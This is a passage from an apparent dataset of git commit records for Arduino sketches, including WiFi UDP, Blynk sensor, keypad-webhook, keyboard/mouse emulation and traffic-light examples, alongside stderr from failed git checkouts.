i66\/Arduino,ntruchsess\/Arduino-1,jomolinare\/Arduino,ikbelkirasan\/Arduino,stickbreaker\/Arduino,cscenter\/Arduino,stevemayhew\/Arduino,shiitakeo\/Arduino,jomolinare\/Arduino,ccoenen\/Arduino,probonopd\/Arduino,talhaburak\/Arduino,paulmand3l\/Arduino,arduino-org\/Arduino,smily77\/Arduino,jamesrob4\/Arduino,ricklon\/Arduino,niggor\/Arduino_cc,bugobliterator\/BUAGI,Cloudino\/Arduino,UDOOboard\/Arduino,ccoenen\/Arduino,mattvenn\/Arduino,radut\/Arduino,ikbelkirasan\/Arduino,ForestNymph\/Arduino_sources,drpjk\/Arduino,ntruchsess\/Arduino-1,arduino-org\/Arduino,ektor5\/Arduino,snargledorf\/Arduino,jabezGit\/Arduino,tbowmo\/Arduino,HCastano\/Arduino,spapadim\/Arduino,shannonshsu\/Arduino,tskurauskas\/Arduino,zederson\/Arduino,ashwin713\/Arduino,kidswong999\/Arduino,eggfly\/arduino,tomkrus007\/Arduino,jaehong\/Xmegaduino,jaej-dev\/Arduino,01org\/Arduino,Cloudino\/Arduino,ssvs111\/Arduino,danielchalef\/Arduino,Chris--A\/Arduino,ntruchsess\/Arduino-1,talhaburak\/Arduino,mateuszdw\/Arduino,sanyaade-iot\/Arduino-1,lulufei\/Arduino,tommyli2014\/Arduino,championswimmer\/Arduino,byran\/Arduino,wdoganowski\/Arduino,myrtleTree33\/Arduino,stevemarple\/Arduino-org,niggor\/Arduino_cc,ektor5\/Arduino,andyvand\/Arduino-1,leftbrainstrain\/Arduino-ESP8266,mateuszdw\/Arduino,gestrem\/Arduino,HCastano\/Arduino,eeijcea\/Arduino-1,jaehong\/Xmegaduino,shannonshsu\/Arduino,raimohanska\/Arduino,linino\/Arduino,gurbrinder\/Arduino,superboonie\/Arduino,jaej-dev\/Arduino,odbol\/Arduino,odbol\/Arduino,andyvand\/Arduino-1,eddyst\/Arduino-SourceCode,KlaasDeNys\/Arduino,damellis\/Arduino,NicoHood\/Arduino,wilhelmryan\/Arduino,PaintYourDragon\/Arduino,KlaasDeNys\/Arduino,HCastano\/Arduino,mc-hamster\/esp8266-Arduino,smily77\/Arduino,ogferreiro\/Arduino,adamkh\/Arduino,Protoneer\/Arduino,wdoganowski\/Arduino,lukeWal\/Arduino,HCastano\/Arduino,PaoloP74\/Arduino,Cloudino\/Cloudino-Arduino-IDE,jabezGit\/Arduino,steamboating\/Arduino,Gourav2906\/Arduino,cscenter\/Arduino,mattvenn\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,EmuxEvans\/Arduino,pdNor\/Arduino,eeijcea\/Arduino-1,wayoda\/Arduino,vbextreme\/Arduino,andrealmeidadomingues\/Arduino,stevemayhew\/Arduino,KlaasDeNys\/Arduino,noahchense\/Arduino-1,ikbelkirasan\/Arduino,stevemayhew\/Arduino,wdoganowski\/Arduino,arduino-org\/Arduino,bigjosh\/Arduino,Chris--A\/Arduino,superboonie\/Arduino,steamboating\/Arduino,odbol\/Arduino,ektor5\/Arduino,ogahara\/Arduino,mangelajo\/Arduino,garci66\/Arduino,gestrem\/Arduino,kidswong999\/Arduino,sanyaade-iot\/Arduino-1,paulmand3l\/Arduino,mangelajo\/Arduino,toddtreece\/esp8266-Arduino,PaintYourDragon\/Arduino,wayoda\/Arduino,laylthe\/Arduino,pdNor\/Arduino,rodibot\/Arduino,adamkh\/Arduino,odbol\/Arduino,piersoft\/esp8266-Arduino,chaveiro\/Arduino,stevemayhew\/Arduino,majenkotech\/Arduino,bsmr-arduino\/Arduino,jamesrob4\/Arduino,smily77\/Arduino,gurbrinder\/Arduino,chaveiro\/Arduino,karlitxo\/Arduino,niggor\/Arduino_cc,wilhelmryan\/Arduino,tskurauskas\/Arduino,Ramoonus\/Arduino,ashwin713\/Arduino,spapadim\/Arduino,01org\/Arduino,jaehong\/Xmegaduino,paulo-raca\/ESP8266-Arduino,tommyli2014\/Arduino,tannewt\/Arduino,wdoganowski\/Arduino,kidswong999\/Arduino,talhaburak\/Arduino,xxxajk\/Arduino-1,snargledorf\/Arduino,kidswong999\/Arduino,Alfredynho\/AgroSis,arduino-org\/Arduino,chaveiro\/Arduino,PeterVH\/Arduino,nandojve\/Arduino,Cloudino\/Arduino,bsmr-arduino\/Arduino,tbowmo\/Arduino,eggfly\/arduino,rcook\/DesignLab,tskurauskas\/Arduino,Gourav2906\/Arduino,andrealmeidadomingues\/Arduino,mangelajo\/Arduino,ntruchsess\/Arduino-1,aichi\/Arduino-2,eddyst\/Arduino-SourceCode,stevemarple\/Arduino-org,gonium\/Arduino,ntruchsess\/Arduino-1,smily77\/Arduino,aichi\/Arduino-2,jmgonzalez00449\/Arduino,andrealmeidadomingues\/Arduino,rcook\/DesignLab,UDOOboard\/Arduino,ikbelkirasan\/Arduino,snargledorf\/Arduino,smily77\/Arduino,nandojve\/Arduino,wilhelmryan\/Arduino,PaintYourDragon\/Arduino,drpjk\/Arduino,ogferreiro\/Arduino,ssvs111\/Arduino,bsmr-arduino\/Arduino,gberl001\/Arduino,linino\/Arduino,snargledorf\/Arduino,jaimemaretoli\/Arduino,onovy\/Arduino,chaveiro\/Arduino,ms-iot\/Arduino,vbextreme\/Arduino,eddyst\/Arduino-SourceCode,jabezGit\/Arduino,zaiexx\/Arduino,ForestNymph\/Arduino_sources,PeterVH\/Arduino,stickbreaker\/Arduino,OpenDevice\/Arduino,NeuralSpaz\/Arduino,scdls\/Arduino,mc-hamster\/esp8266-Arduino,byran\/Arduino,acosinwork\/Arduino,rcook\/DesignLab,wdoganowski\/Arduino,ogferreiro\/Arduino,Alfredynho\/AgroSis,weera00\/Arduino,SmartArduino\/Arduino-1,ashwin713\/Arduino,adafruit\/ESP8266-Arduino,lulufei\/Arduino,aichi\/Arduino-2,koltegirish\/Arduino,eduardocasarin\/Arduino,bigjosh\/Arduino,karlitxo\/Arduino,ForestNymph\/Arduino_sources,mboufos\/esp8266-Arduino,pdNor\/Arduino,UDOOboard\/Arduino,andyvand\/Arduino-1,jaimemaretoli\/Arduino,tomkrus007\/Arduino,ccoenen\/Arduino,HCastano\/Arduino,karlitxo\/Arduino,rodibot\/Arduino,gonium\/Arduino,radut\/Arduino,shannonshsu\/Arduino,myrtleTree33\/Arduino,raimohanska\/Arduino,jomolinare\/Arduino,shiitakeo\/Arduino,NaSymbol\/Arduino,jaimemaretoli\/Arduino,benwolfe\/esp8266-Arduino,wilhelmryan\/Arduino,cscenter\/Arduino,arunkuttiyara\/Arduino,andyvand\/Arduino-1,adafruit\/ESP8266-Arduino,ogahara\/Arduino,PaoloP74\/Arduino,jaimemaretoli\/Arduino,NaSymbol\/Arduino,ari-analytics\/Arduino,chaveiro\/Arduino,PaoloP74\/Arduino,laylthe\/Arduino,ForestNymph\/Arduino_sources,steamboating\/Arduino,ssvs111\/Arduino,bugobliterator\/BUAGI,UDOOboard\/Arduino,drpjk\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,scdls\/Arduino,fungxu\/Arduino,henningpohl\/Arduino,jabezGit\/Arduino,SmartArduino\/Arduino-1,eddyst\/Arduino-SourceCode,niggor\/Arduino_cc,tommyli2014\/Arduino,PaintYourDragon\/Arduino,jamesrob4\/Arduino,probonopd\/Arduino,eeijcea\/Arduino-1,arunkuttiyara\/Arduino,byran\/Arduino,jomolinare\/Arduino,EmuxEvans\/Arduino,gonium\/Arduino,ashwin713\/Arduino,onovy\/Arduino,stevemayhew\/Arduino,eddyst\/Arduino-SourceCode,cscenter\/Arduino,SmartArduino\/Arduino-1,henningpohl\/Arduino,ntruchsess\/Arduino-1,majenkotech\/Arduino,eeijcea\/Arduino-1,gurbrinder\/Arduino,paulo-raca\/ESP8266-Arduino,bsmr-arduino\/Arduino,PeterVH\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,toddtreece\/esp8266-Arduino,raimohanska\/Arduino,xxxajk\/Arduino-1,onovy\/Arduino,zederson\/Arduino,piersoft\/esp8266-Arduino,pdNor\/Arduino,karlitxo\/Arduino,NeuralSpaz\/Arduino,linino\/Arduino,jabezGit\/Arduino,ari-analytics\/Arduino,NaSymbol\/Arduino,Protoneer\/Arduino,steamboating\/Arduino,onovy\/Arduino,gberl001\/Arduino,fungxu\/Arduino,jmgonzalez00449\/Arduino,spapadim\/Arduino,laylthe\/Arduino,ricklon\/Arduino,Alfredynho\/AgroSis,eggfly\/arduino,fungxu\/Arduino,karlitxo\/Arduino,koltegirish\/Arduino,fungxu\/Arduino,ccoenen\/Arduino,aichi\/Arduino-2,paulo-raca\/ESP8266-Arduino,talhaburak\/Arduino,zaiexx\/Arduino,PaoloP74\/Arduino,gestrem\/Arduino","old_file":"libraries\/WiFi\/examples\/WifiUdpSendReceiveString\/WifiUdpSendReceiveString.ino","new_file":"libraries\/WiFi\/examples\/WifiUdpSendReceiveString\/WifiUdpSendReceiveString.ino","new_contents":"\n\/*\n WiFi UDP Send and Receive String\n \n This sketch wait an UDP packet on localPort using a WiFi shield.\n When a packet is received an Acknowledge packet is sent to the client on port remotePort\n \n Circuit:\n * WiFi shield attached\n \n created 30 December 2012\n by dlf (Metodo2 srl)\n\n *\/\n\n\n#include <SPI.h>\n#include <WiFi.h>\n#include <WiFiUdp.h>\n\nint status = WL_IDLE_STATUS;\nchar ssid[] = \"yourNetwork\"; \/\/ your network SSID (name) \nchar pass[] = \"secretPassword\"; \/\/ your network password (use for WPA, or use as key for WEP)\nint keyIndex = 0; \/\/ your network key Index number (needed only for WEP)\n\nunsigned int localPort = 2390; \/\/ local port to listen on\n\nchar packetBuffer[255]; \/\/buffer to hold incoming packet\nchar ReplyBuffer[] = \"acknowledged\"; \/\/ a string to send back\n\nWiFiUDP Udp;\n\nvoid setup() {\n \/\/Initialize serial and wait for port to open:\n Serial.begin(9600); \n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for Leonardo only\n }\n \n \/\/ check for the presence of the shield:\n if (WiFi.status() == WL_NO_SHIELD) {\n Serial.println(\"WiFi shield not present\"); \n \/\/ don't continue:\n while(true);\n } \n \n \/\/ attempt to connect to Wifi network:\n while ( status != WL_CONNECTED) { \n Serial.print(\"Attempting to connect to SSID: \");\n Serial.println(ssid);\n \/\/ Connect to WPA\/WPA2 network. Change this line if using open or WEP network: \n status = WiFi.begin(ssid);\n \n \/\/ wait 10 seconds for connection:\n delay(10000);\n } \n Serial.println(\"Connected to wifi\");\n printWifiStatus();\n \n Serial.println(\"\\nStarting connection to server...\");\n \/\/ if you get a connection, report back via serial:\n Udp.begin(localPort); \n}\n\nvoid loop() {\n \n \/\/ if there's data available, read a packet\n int packetSize = Udp.parsePacket();\n if(packetSize)\n { \n Serial.print(\"Received packet of size \");\n Serial.println(packetSize);\n Serial.print(\"From \");\n IPAddress remoteIp = Udp.remoteIP();\n Serial.print(remoteIp);\n Serial.print(\", port \");\n Serial.println(Udp.remotePort());\n\n \/\/ read the packet into packetBufffer\n int len = Udp.read(packetBuffer,255);\n if (len >0) packetBuffer[len]=0;\n Serial.println(\"Contents:\");\n Serial.println(packetBuffer);\n \n \/\/ send a reply, to the IP address and port that sent us the packet we received\n Udp.beginPacket(Udp.remoteIP(), Udp.remotePort());\n Udp.write(ReplyBuffer);\n Udp.endPacket();\n }\n}\n\n\nvoid printWifiStatus() {\n \/\/ print the SSID of the network you're attached to:\n Serial.print(\"SSID: \");\n Serial.println(WiFi.SSID());\n\n \/\/ print your WiFi shield's IP address:\n IPAddress ip = WiFi.localIP();\n Serial.print(\"IP Address: \");\n Serial.println(ip);\n\n \/\/ print the received signal strength:\n long rssi = WiFi.RSSI();\n Serial.print(\"signal strength (RSSI):\");\n Serial.print(rssi);\n Serial.println(\" dBm\");\n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/WiFi\/examples\/WifiUdpSendReceiveString\/WifiUdpSendReceiveString.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"d6e7e1e88e7ce8dcb22b91997e28fa662b8616bc","subject":"Added explanation comments","message":"Added explanation comments\n","repos":"bitbitbitbitbitbitbitbit\/LineFollowing,bitbitbitbitbitbitbitbit\/LineFollowing","old_file":"PC104\/receive_from_matlab\/receive_from_matlab.ino","new_file":"PC104\/receive_from_matlab\/receive_from_matlab.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bitbitbitbitbitbitbitbit\/LineFollowing.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"fe12326c6b8555856c89a7bdcf6f8605a82ce7e2","subject":"esp now new example","message":"esp now new example\n","repos":"TaylorHokanson\/CAAint","old_file":"TTGO\/Code\/ESP Now\/ESP_Now_clock\/ESP_Now_clock.ino","new_file":"TTGO\/Code\/ESP Now\/ESP_Now_clock\/ESP_Now_clock.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'TTGO\/Code\/ESP' did not match any file(s) known to git\nerror: pathspec 'Now\/ESP_Now_clock\/ESP_Now_clock.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d7c3838121d3ec4a27d1a7eead22c34a824185e1","subject":"delete auto align during shortest path","message":"delete auto align during shortest path\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"00e6a27d1dc30828285d52bec6adc7687fa51b49","subject":"Fix #98","message":"Fix #98\n","repos":"blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library","old_file":"examples\/More\/DHT11\/DHT11.ino","new_file":"examples\/More\/DHT11\/DHT11.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example shows how value can be pushed from Arduino to\n * the Blynk App.\n *\n * WARNING :\n * For this example you'll need SimpleTimer library:\n * https:\/\/github.com\/jfturcot\/SimpleTimer\n * and Adafruit DHT sensor library:\n * https:\/\/github.com\/adafruit\/DHT-sensor-library\n *\n * App project setup:\n * Value Display widget attached to V5\n * Value Display widget attached to V6\n *\n **************************************************************\/\n\n#define BLYNK_PRINT Serial \/\/ Comment this out to disable prints and save space\n#include <SPI.h>\n#include <Ethernet.h>\n#include <BlynkSimpleEthernet.h>\n#include <SimpleTimer.h>\n#include <DHT.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\n#define DHTPIN 2 \/\/ What digital pin we're connected to\n\n\/\/ Uncomment whatever type you're using!\n#define DHTTYPE DHT11 \/\/ DHT 11\n\/\/#define DHTTYPE DHT22 \/\/ DHT 22, AM2302, AM2321\n\/\/#define DHTTYPE DHT21 \/\/ DHT 21, AM2301\n\nDHT dht(DHTPIN, DHTTYPE);\nSimpleTimer timer;\n\n\/\/ This function sends Arduino's up time every second to Virtual Pin (5).\n\/\/ In the app, Widget's reading frequency should be set to PUSH. This means\n\/\/ that you define how often to send data to Blynk App.\nvoid sendSensor()\n{\n float h = dht.readHumidity();\n float t = dht.readTemperature(); \/\/ or dht.readTemperature(true) for Fahrenheit\n\n if (isnan(h) || isnan(t)) {\n Serial.println(\"Failed to read from DHT sensor!\");\n return;\n }\n \/\/ You can send any value at any time.\n \/\/ Please don't send more that 10 values per second.\n Blynk.virtualWrite(V5, h);\n Blynk.virtualWrite(V6, t);\n}\n\nvoid setup()\n{\n Serial.begin(9600); \/\/ See the connection status in Serial Monitor\n Blynk.begin(auth);\n\n dht.begin();\n \n \/\/ Setup a function to be called every second\n timer.setInterval(1000L, sendSensor);\n}\n\nvoid loop()\n{\n Blynk.run(); \/\/ Initiates Blynk\n timer.run(); \/\/ Initiates SimpleTimer\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/More\/DHT11\/DHT11.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a4e909915574e8d6352a2867d3aeb80889701cfd","subject":"Create keypad.ino","message":"Create keypad.ino","repos":"stuboo\/venus_appliance,stuboo\/venus_appliance","old_file":"keypad.ino","new_file":"keypad.ino","new_contents":"\/* @file keypad.ino\n|| @version 1.0\n|| @author Ryan Stewart, base code from Alexander Brevig\n|| @contact ryan@ryanstewart.com\n|| @contact alexanderbrevig@gmail.com\n||\n|| @description\n|| | Uses the arduino keypad library to get a series of numbers\/letters from the 4x4 membrane keypad. \n|| | Then sends that string by webhook to a php script (notify.php)\n|| #\n*\/\n#include \"Keypad\/Keypad.h\"\n\nconst byte ROWS = 4; \/\/four rows\nconst byte COLS = 4; \/\/three columns\nchar keys[ROWS][COLS] = {\n {'1','2','3', 'A'},\n {'4','5','6', 'B'},\n {'7','8','9', 'C'},\n {'*','0','#','D'}\n};\nbyte rowPins[ROWS] = {D0, D1, D2, D3}; \/\/connect to the row pinouts of the keypad\nbyte colPins[COLS] = {D4, D5, D6, D7}; \/\/connect to the column pinouts of the keypad\n\nKeypad keypad = Keypad( makeKeymap(keys), rowPins, colPins, ROWS, COLS );\n\nvoid setup(){\n Serial.begin(9600);\n}\n \nvoid loop(){\n String value = \"\";\n String reset = \"*-*-*-RESET-*-*-*\";\n char key;\n while(true)\n {\n delay(20);\n key = keypad.getKey();\n if (key == NO_KEY) continue;\n if (key == '#') break; \/\/ send the key combination when the pound key is pressed\n if (key == '*') \/\/ if the star key is pressed, that's a reset\n {\n value = \"\";\n goto reset_button;\n }\n value += key;\n \/\/ TODO: display value here\n\n do\n {\n delay(20);\n }\n while (keypad.getKey() != NO_KEY); \/\/ wait until key is released\n \/\/Serial.println(key);\n }\n Serial.println(value);\n \/\/ Call the webhook here and send the value to it.\n Particle.publish(\"venus\", String(value), 60, PRIVATE);\n delay(5000);\n reset_button: \/\/ reset the value to empty\n Serial.println(reset);\n \n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'keypad.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"df1079b32f4ea6a3121384e660f898841a09c965","subject":"XMerge branch 'master' of https:\/\/github.com\/medialab-prado\/Interactivos-15-Ego","message":"XMerge branch 'master' of https:\/\/github.com\/medialab-prado\/Interactivos-15-Ego\n","repos":"medialab-prado\/Interactivos-15-Ego,medialab-prado\/Interactivos-15-Ego,medialab-prado\/Interactivos-15-Ego,medialab-prado\/Interactivos-15-Ego,medialab-prado\/Interactivos-15-Ego,medialab-prado\/Interactivos-15-Ego","old_file":"arduino\/keyboard.ino","new_file":"arduino\/keyboard.ino","new_contents":"\n#include \"Keyboard.h\"\n#include \"Mouse.h\"\n\n\/\/ set pin numbers for the five buttons:\nconst int killSwitch = 13;\n\n\nvoid setup() { \/\/ initialize the buttons' inputs:\n pinMode(killSwitch, INPUT);\n digitalWrite(killSwitch, HIGH);\n \/\/ initialize mouse control:\n Mouse.begin();\n Keyboard.begin();\n}\n\nvoid loop() {\ndelay(100);\n\/\/ only do the keyboard\/mouse interaction if killswitch is connected to\nground...\n if(digitalRead(killSwitch)==LOW) {\n Mouse.click(MOUSE_LEFT);\n Mouse.click(MOUSE_LEFT);\n Mouse.move(0, -40);\n Keyboard.press('w');\n delay(100);\n Keyboard.press(' ');\n delay(50);\n Keyboard.releaseAll();\n Mouse.click(MOUSE_LEFT);\n Mouse.move(0, 40);\n Keyboard.press('w');\n delay(100);\n Keyboard.press(' ');\n delay(50);\n Keyboard.releaseAll();\n Mouse.move(-40, 0);\n Keyboard.press('w');\n delay(100);\n Keyboard.press(' ');\n delay(50);\n Keyboard.releaseAll();\n Mouse.click(MOUSE_LEFT);\n Mouse.move(40, 0);\n Keyboard.press('w');\n delay(100);\n Keyboard.press(' ');\n Mouse.click(MOUSE_LEFT);\n delay(50);\n Keyboard.releaseAll();\n Mouse.click(MOUSE_LEFT);\n Keyboard.press('w');\n delay(100);\n Keyboard.press(' ');\n delay(50);\n Keyboard.releaseAll();\n Mouse.click(MOUSE_LEFT);\n Mouse.click(MOUSE_LEFT);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/keyboard.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a485b5d674b4e4c851d4cb56e63cb624b8524d8f","subject":"Modificando o codigo Arduino","message":"Modificando o codigo Arduino\n\nTerminei o c\u00f3digo , agora testar e modificar os erros.\n","repos":"Gsirius14\/sirius,Gsirius14\/sirius","old_file":"arduino\/arquivo_unico\/arquivo_unico.ino","new_file":"arduino\/arquivo_unico\/arquivo_unico.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Gsirius14\/sirius.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"bad4d793341a1431198aee68f04b6a805f7a1b1f","subject":"Made more fixes, prevented left and reset buttons from confusing. Added LCD code.","message":"Made more fixes, prevented left and reset buttons from confusing. Added LCD code.\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"motor_robot3.ino","new_file":"motor_robot3.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"15d6b02778acbdf633af7042455e2908b4e7dbc6","subject":"arduino code","message":"arduino code\n\nadding arduino code to the project\n","repos":"Team3574\/Alastair,Team3574\/RKellyBot,Team3574\/2013","old_file":"arduino code\/shoot.ino","new_file":"arduino code\/shoot.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino' did not match any file(s) known to git\nerror: pathspec 'code\/shoot.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"fcbfcba80252ac71e3fb334e9bc9900dd412bef7","subject":"Avances en sketch principal.","message":"Avances en sketch principal.\n","repos":"nverdicchio\/soa-2017-bicicleta-inteligente,nverdicchio\/soa-2017-bicicleta-inteligente","old_file":"Arduino\/integraciones\/BicicletaInteligente\/BicicletaInteligente.ino","new_file":"Arduino\/integraciones\/BicicletaInteligente\/BicicletaInteligente.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nverdicchio\/soa-2017-bicicleta-inteligente.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ea8b5b6559d1b6f4d795d5c67152c0788ed518f9","subject":"Tested code button interface","message":"Tested code button interface\n","repos":"dot-cat\/shp_platform,dot-cat\/dotcat_platform","old_file":"arduino\/buttons_keymap.ino","new_file":"arduino\/buttons_keymap.ino","new_contents":"\nunsigned const int SizeColumns = 3;\nunsigned const int SizeRows = 3;\n\n\n\nconst char * noKey {\"no\"};\nbyte columns[SizeColumns] = { 2, 3, 4 }; \/\/fix name of the pins\nbyte rows[SizeRows] = { 5, 6, 7 };\/\/fix name of the pins\n\n\/\/ Antibounce system variables\nunsigned int lastReadTime;\nunsigned int bounceTime = 40;\/\/ms\n\nconst unsigned short int delay_key_press = 50;\n\n\/\/-------------------------------------------------------------------\n\n\/\/ Messages to send\nchar keymap[][SizeRows][SizeColumns] = {\n { \"B1\", \"B2\", \"B3\" },\n { \"B4\", \"B5\", \"B6\" },\n { \"B7\", \"B8\", \"B9\" }\n};\n\n\/\/ Current button states\nboolean current_state[SizeRows][SizeColumns] = {\n { LOW, LOW, LOW },\n { LOW, LOW, LOW },\n { LOW, LOW, LOW }\n};\n\n\/\/ Last button states\nboolean last_state[SizeRows][SizeColumns] = {\n { LOW, LOW, LOW },\n { LOW, LOW, LOW },\n { LOW, LOW, LOW } \n};\n\n\n\/\/-------------------------------------------------------------------\n\n\n\nvoid setup(){\n \n Serial.begin(9600);\n \n lastReadTime = millis();\n \n for(int j = 0; j < SizeColumns; j++){\n pinMode(columns[j],OUTPUT); \/\/ Setting pins for input\n \/\/digitalWrite(columns[j], LOW);\n }\n \n for (int i = 0; i < SizeRows; i++){\n pinMode(rows[i], INPUT); \/\/ Setting pins for input\n digitalWrite(rows[i], HIGH);\n }\n}\n\n\nvoid loop() {\n if ( (millis() - lastReadTime) > bounceTime ) {\n \n \/\/\u0415\u0441\u043b\u0438 \u0432\u0440\u0435\u043c\u044f \u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u043c\u0438\u043d\u0443\u0441\n \/\/\u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u0441\u0447\u0438\u0442\u0430\u043d\u043d\u043e\u0432\u0435 \u0432\u0440\u0435\u043c\u044f \u0431\u043e\u043b\u044c\u0448\u0435 30\u043c\u0441(bounceTime)\n \n for(int c = 0; c < SizeColumns; c++)\n {\n \/\/pinMode(columns[c], OUTPUT);\n digitalWrite(columns[c], LOW);\n \/\/\u043e\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u043e\u0440\u043e\u0436\u043a\u0438 \n for(int r = 0; r < SizeRows; r++)\n {\n if(digitalRead(rows[r]) == LOW)\n {\n if (current_state[r][c] == LOW) {\n Serial.println(keymap[r][c]);\n }\n current_state[r][c] = HIGH;\n \n \/\/\u0435\u0441\u043b\u0438 \u0443 \u043d\u0430\u0441 \u043d\u0430 \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0439 \u0434\u043e\u0440\u043e\u0436\u043a\u0435\n \/\/\u0431\u0443\u0434\u0435\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 1 \u0442\u043e \u0437\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u043c \u043f\u043e\u0437\u0438\u0438\u044e\n \/\/foundKey = keymap[r][c];\n \/\/strcpy(foundKey, keymap[r][c]);\n \/\/ \u0418 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c \u0435\u0451 \u0432 Serial\n \/\/Serial.println(foundKey);\n } else {\n current_state[r][c] = LOW;\n }\n }\n \n digitalWrite(columns[c], HIGH);\n \/\/pinMode(columns[c], INPUT);\n \n }\n lastReadTime = millis();\n }\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n for (short int c = 0; c < SizeColumns; ++c) {\n for (short int r = 0; r < SizeRows; ++r) {\n \n }\n }\n \n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/buttons_keymap.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d018a67f267a92c492e97424afa5346248abb40e","subject":"Added motor.ino","message":"Added motor.ino\n","repos":"sagargarg\/barbot","old_file":"motor\/motor.ino","new_file":"motor\/motor.ino","new_contents":"int motorPin = 9;\nvoid setup() {\n pinMode(motorPin, OUTPUT);\n}\n \nvoid loop() {\n digitalWrite(motorPin, HIGH);\n delay(100);\n \n digitalWrite(motorPin, LOW);\n delay(1000);\n \n digitalWrite(motorPin, HIGH);\n delay(100);\n \n digitalWrite(motorPin, LOW);\n delay(200);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'motor\/motor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f651f0f9f259cdfee04762acd6158ba262c41e17","subject":"restructured for arduino ide","message":"restructured for arduino ide\n","repos":"nalch\/djenko","old_file":"arduino\/djenko.ino","new_file":"arduino\/djenko.ino","new_contents":"int incomingByte = 0; \/\/ for incoming serial data\n\nvoid setup() {\n\n \/\/ Green\n pinMode(12, OUTPUT);\n \/\/ Yellow\n pinMode(11, OUTPUT);\n \/\/ Red\n pinMode(10, OUTPUT);\n\n Serial.begin(9600); \/\/ opens serial port, sets data rate to 9600 bps\n\n}\n\n\n\nvoid loop() {\n\n if (Serial.available() > 0) {\n incomingByte = Serial.read();\n }\n\n if (incomingByte == 'b') {\n green();\n } else if (incomingByte == 'y') {\n yellow();\n } else if (incomingByte == 'r') {\n 